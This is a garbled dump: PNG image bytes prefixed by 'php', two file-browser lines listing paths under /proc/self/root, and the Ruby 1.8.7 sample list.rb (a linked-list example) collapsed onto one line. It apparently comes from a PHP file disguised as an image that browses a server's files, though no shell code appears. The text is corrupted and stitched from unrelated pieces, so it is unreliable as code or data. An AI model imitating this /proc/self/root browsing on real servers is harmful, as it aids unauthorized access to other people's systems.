php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay
files >> /proc/self/root/usr/share/doc/ruby-1.8.7.374/sample/ |
files >> //proc/self/root/usr/share/doc/ruby-1.8.7.374/sample/list.rb |
# Linked list example class MyElem # object initializer called from Class#new def initialize(item) # @variables are instance variable, no declaration needed @data = item @succ = nil end def data @data end def succ @succ end # the method invoked by ``obj.data = val'' def succ=(new) @succ = new end end class MyList def add_to_list(obj) elt = MyElem.new(obj) if @head @tail.succ = elt else @head = elt end @tail = elt end def each elt = @head while elt yield elt elt = elt.succ end end # the method to convert object into string. # redefining this will affect print. def to_s str = "<MyList:\n"; for elt in self # short form of ``str = str + elt.data.to_s + "\n"'' str += elt.data.to_s + "\n" end str += ">" str end end class Point def initialize(x, y) @x = x; @y = y self end def to_s sprintf("%d@%d", @x, @y) end end # global variable name starts with `$'. $list1 = MyList.new $list1.add_to_list(10) $list1.add_to_list(20) $list1.add_to_list(Point.new(2, 3)) $list1.add_to_list(Point.new(4, 5)) $list2 = MyList.new $list2.add_to_list(20) $list2.add_to_list(Point.new(4, 5)) $list2.add_to_list($list1) # parenthesises around method arguments can be ommitted unless ambiguous. print "list1:\n", $list1, "\n" print "list2:\n", $list2, "\n"y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`